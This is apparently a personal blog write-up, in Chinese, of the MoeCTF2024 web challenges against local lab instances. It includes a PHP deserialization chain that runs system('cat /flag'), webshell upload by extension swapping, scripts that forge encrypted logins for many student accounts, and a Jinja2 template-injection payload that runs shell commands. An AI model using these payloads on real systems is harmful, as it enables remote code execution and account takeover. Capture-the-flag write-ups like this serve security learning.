MoeCTF2024

Web

Web渗透测试与审计入门指北

phpstudy本地搭一个环境运行即可

弗拉格之地的入口

robots.txt

1
2
3
4
# Robots.txt file for xdsec.org
# only robots can find the entrance of web-tutor
User-agent: *
Disallow: /webtutorEntry.php

flag在/webtutorEntry.php

ez_http

ProveYourLove


前端不许重复提交,抓包这个页面重复提交
300份可以爆破

弗拉格之地的挑战

改前端

ImageCloud前置

垫刀之路02: 普通的文件上传

一句话木马

垫刀之路03: 这是一个图床

前端验证
上传2.png,抓包后改为php即可

垫刀之路04: 一个文件浏览器

垫刀之路05: 登陆网站

垫刀之路06: pop base mini moe

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php

class A {
// 注意 private 属性的序列化哦
private $evil;

// 如何赋值呢
private $a;

function __destruct() {
$s = $this->a;
$s($this->evil);
}
}

class B {
private $b;

function __invoke($c) {
$s = $this->b;
$s($c);
}
}


if(isset($_GET['data']))
{
$a = unserialize($_GET['data']);
}
else {
highlight_file(__FILE__);
}

反序列化入门了哈,这对我反序列化的短板改变会很大 加油!!!!!!!!!!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php

class A {
// 注意 private 属性的序列化哦
private $evil ='cat /flag';

// 如何赋值呢
private $a;

function __destruct() {
$s = $this->a;
$s($this->evil);
}

function setevil($a)
{
$this->a = $a;
}
}

class B {
private $b = 'system';

function __invoke($c) {
$s = $this->b;
$s($c);
}
}

$c =new A();
$d =new B();
$c->setevil($d);
echo urlencode(serialize($c));

垫刀之路07: 泄漏的密码

扫到console
输入pin码
发现可以执行python命令

静态网页

点击二次元便装
抓取到这个页面

电院_Backend

根据附件给的代码构造语句

勇闯铜人阵


好久没写脚本了,先拉坨屎山

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
import requests
import re

a =requests.session()

url = 'http://127.0.0.1:57542/restart?'
data={
"player":"1",
"direct":'弟子明白'
}

while 1:
b=a.post(url=url,data=data)
tex = re.findall(r'<h1 id="status">\s*(.*?)\s*</h1>', b.text)
# print('text=',b.text)
print(tex)
str1=str(tex)
str1 = str1.replace("'", "").replace("[", "").replace("]", "").replace(" ", "")
print('str1=',str1)
mark = 0
for j in str1:
if j==',':
mark=1 #两个
if 'moectf' in b.text:
print(b.text)
break
if mark ==0:
print('嗨嗨嗨')
if str1=='1':
data["direct"]="北方"
elif str1=='2':
data["direct"] = "东北方"
elif str1 == '3':
data["direct"] = "东方"
elif str1=='4':
data["direct"] = "东南方"
elif str1=='5':
data["direct"] = "南方"
elif str1=='6':
data["direct"] = "西南方"
elif str1 == '7':
data["direct"] = "西方"
elif str1=='8':
data["direct"] = "西北方"
elif mark==1:
mark1 = 0 # 判断逗号
print('嘻嘻嘻')
for k in str1:
print(k)
if k=='1'and mark1==0:
data["direct"] = "北方一个,"
mark1=1
elif k=='1'and mark1==1:
data["direct"] += "北方一个"
elif k=='2'and mark1==0:
data["direct"] = "东北方一个,"
mark1=1
elif k=='2'and mark1==1:
data["direct"] += "东北方一个"
elif k=='3'and mark1==0:
data["direct"] = "东方一个,"
mark1=1
elif k=='3'and mark1==1:
data["direct"] += "东方一个"
elif k=='4'and mark1==0:
data["direct"] = "东南方一个,"
mark1=1
elif k=='4'and mark1==1:
data["direct"] += "东南方一个"
elif k=='5'and mark1==0:
data["direct"] = "南方一个,"
mark1=1
elif k=='5'and mark1==1:
data["direct"] += "南方一个"
elif k=='6'and mark1==0:
data["direct"] = "西南方一个,"
mark1=1
elif k=='6'and mark1==1:
data["direct"] += "西南方一个"
elif k=='7'and mark1==0:
data["direct"] = "西方一个,"
mark1=1
elif k=='7'and mark1==1:
data["direct"] += "西方一个"
elif k=='8'and mark1==0:
data["direct"] = "西北方一个,"
mark1=1
elif k=='8'and mark1==1:
data["direct"] += "西北方一个"



print(f'url={url} data={data}')
url = 'http://127.0.0.1:57542/'


Re: 从零开始的 XDU 教书生活

提示:
使用脚本重复发送请求直到所有人都签上到即可。如果思路受阻或者不知道怎么写脚本,欢迎通过下方锤子询问出题人。
建议先从浏览器简单看下该做什么再去看代码细节,直接看代码很难理清思路。
/v2/apis/sign/refreshQRCode 该接口用于刷新二维码并返回新的二维码的信息。如何组装一个签到链接可参考网页源码。(或者随便拿个签到二维码看一下指向的链接也差不多能搞懂)

你成为了 XDU 的一个教师,现在你的任务是让所有学生签上到(需要从学生账号签上到,而不是通过教师代签)。 注意:

本题约定:所有账号的用户名 == 手机号 == 密码。教师账号用户名:10000。
当浏览器开启签到页面时,二维码每 10 秒刷新一次,使用过期的二维码无法完成签到。(浏览器不开启签到页面时,不会进行自动刷新,可以持续使用有效的二维码,除非手动发送刷新二维码的请求) 当你完成任务后,请结束签到活动。你将会获得 Flag 。 本题的部分前端页面取自超星学习通网页,后端与其无关,仅用作场景还原,请勿对原网站进行任何攻击行为!

先通过10000登录老师账号,看一下有多少人需要我们签的

这么多人,必须要写一个脚本了
先登录学生账号抓包看看

发现我们的账号密码被加密了,而cookie是随机生成的不可预测
再看看附件下载的app.py
这两个函数比较重要,我们的账号密码是AES加密

根据代码写出AES加密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad

def encrypt_by_aes(plaintext: str, key: str, iv: str) -> str:
key_bytes = key.encode("utf-8")
iv_bytes = iv.encode("utf-8")
cipher = AES.new(key_bytes, AES.MODE_CBC, iv_bytes)

# 将明文转为字节并进行填充(填充到块大小的倍数,通常是16字节)
plaintext_bytes = pad(plaintext.encode("utf-8"), AES.block_size)

# 加密
encrypted_bytes = cipher.encrypt(plaintext_bytes)

# 将加密后的字节进行 base64 编码
encrypted = base64.b64encode(encrypted_bytes).decode("utf-8")

return encrypted


def decrypt_by_aes(encrypted: str, key: str, iv: str) -> str:
key_bytes = key.encode("utf-8")
iv_bytes = iv.encode("utf-8")
cipher = AES.new(key_bytes, AES.MODE_CBC, iv_bytes)

# 解密前需要将 base64 编码的字符串解码为字节
encrypted_bytes = base64.b64decode(encrypted)

# 解密
decrypted_bytes = cipher.decrypt(encrypted_bytes)

# 去除填充
pad = decrypted_bytes[-1]
decrypted_bytes = decrypted_bytes[:-pad]

# 将字节转换为字符串
decrypted = decrypted_bytes.decode("utf-8")

return decrypted

key = "u2oh6Vu^HWe4_AES"
iv = "u2oh6Vu^HWe4_AES"

# 要加密的明文
plaintext = "9613331"

# 加密
encrypted_text = encrypt_by_aes(plaintext, key, iv)
print(f"Encrypted: {encrypted_text}")
#print(encrypted_text)

# 解密
#decrypted_text = decrypt_by_aes(encrypted_text, key, iv)
#print(f"Decrypted: {decrypted_text}")

与抓包内容对比看是否对应的上

一模一样
接着被导航到/page/sign/signIn

扫描二维码,跳出二维码内容,进入这个网页就能签到了

1
http://127.0.0.1:58882/widget/sign/e?id=4000000000000&c=3232369319357&enc=BAEEA1B833B76CFB2FF25FE93836D711&DB_STRATEGY=PRIMARY_KEY&STRATEGY_PARA=id


这里enc和signCode已经变了,但是我们可以推断出对应的是上面的c和enc值
接下来我们还要把网页上的用户爬下来,这里我是先保存到本地再爬的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from bs4 import BeautifulSoup
import re

# 本地 HTML 文件路径
html_file = "./签到.html" # 替换为你的本地 HTML 文件路径
output_file = "output1.txt" # 保存结果的文件名

# 读取并解析 HTML 文件
with open(html_file, "r", encoding="utf-8") as file:
soup = BeautifulSoup(file, 'html.parser')

# 打开输出文件,以写入模式
with open(output_file, "w", encoding="utf-8") as out_file:
# 查找所有符合条件的 <div> 标签
divs = soup.find_all('div', class_=re.compile(r'item zoomIn \d+'))

# 提取 class 属性中的数字并保存到文件中
for div in divs:
class_attr = div.get('class') # 获取 class 属性
for item in class_attr:
match = re.search(r'\d+', item) # 查找 class 属性中的数字
if match:
out_file.write(match.group() + "\n") # 将数字写入文件并换行

print(f"提取的数字已保存到 {output_file}")

思路:
爬取页面用户的账户–>/v2/apis/sign/refreshQRCode获取enc和signCode值–>把账户AES加密–>访问/fanyalogin页面发送数据包–>获取cookies值–>以cookies内的身份进入二维码内容页面

最终代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
import requests
import re
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import time


def encrypt_by_aes(plaintext: str, key: str, iv: str) -> str:
key_bytes = key.encode("utf-8")
iv_bytes = iv.encode("utf-8")
cipher = AES.new(key_bytes, AES.MODE_CBC, iv_bytes)

# 将明文转为字节并进行填充(填充到块大小的倍数,通常是16字节)
plaintext_bytes = pad(plaintext.encode("utf-8"), AES.block_size)

# 加密
encrypted_bytes = cipher.encrypt(plaintext_bytes)

# 将加密后的字节进行 base64 编码
encrypted = base64.b64encode(encrypted_bytes).decode("utf-8")

return encrypted

key = "u2oh6Vu^HWe4_AES"
iv = "u2oh6Vu^HWe4_AES"





# 保存结果的文件名
output_file = "output1.txt"

# 读取保存的数据
with open(output_file, "r", encoding="utf-8") as file:
lines = file.readlines()

# 循环遍历每一行数据
for line in lines:
a = requests.session()

url = 'http://127.0.0.1:35849/v2/apis/sign/refreshQRCode'

b = a.get(url=url)
print(b.text)
# 提取signCode
signCode = re.findall(r'"signCode":"(.*?)"', b.text)
signCode = str(signCode)
signCode = signCode.replace("'", "").replace("[", "").replace("]", "")

# 提取enc值
enc = re.findall(r'"enc":"(.*?)"', b.text)
enc = str(enc)
enc = enc.replace("'", "").replace("[", "").replace("]", "")

print('signCode=', signCode)
print('enc=', enc)

number = line.strip() # 去除行末尾的换行符
plaintext = number
encrypted_text = encrypt_by_aes(plaintext, key, iv)
print('encrtpted==',encrypted_text)
url1='http://127.0.0.1:35849/fanyalogin'
data={
"fid":-1,
"uname":f"{encrypted_text}",
"password":f"{encrypted_text}",
"refer":"https%253A%252F%252Fi.chaoxing.com",
"t":"true",
"forbidotherlogin":0,
"doubleFactorLogin":0,
"independentId":0,
"independentNameId":0
}

cookies = {
"retainlogin": "1",
"token": "f5ba764e-040a-400c-ae13-80fedd7caac6"
}
login1=requests.session()
login = login1.post(url=url1,data=data)
print("data注入",login)
# print(login.cookies)
cook = login.cookies
print(cook)
for cookie in cook:
if cookie.name == "token":
token_value = cookie.value #token值
print(f"token={token_value}")
cookies["token"]=token_value
break # 找到后就可以停止遍历
print(cookies)

url2 =f'http://127.0.0.1:35849/widget/sign/e?id=4000000000000&c={signCode}&enc={enc}&DB_STRATEGY=PRIMARY_KEY&STRATEGY_PARA=id'
login3s=requests.session()
login3 = login3s.get(url=url2,cookies=cookies)
print(login3)
time.sleep(0.5)

who’s blog?

这回机器人没了,但多了一个参数id


存在Flask Jinjia2模版注入漏洞

最终代码

1
{{[].__class__.__bases__[0].__subclasses__()[238].__init__[%27__glo%27+%27bals__%27][%27__builtins__%27][%27eval%27](%27__import__(%22os%22).popen(%22env%22).read()%27)}}


MoeCTF2024
http://example.com/2024/08/24/MoeCTF2024/
作者
奇怪的奇怪
发布于
2024年8月24日
许可协议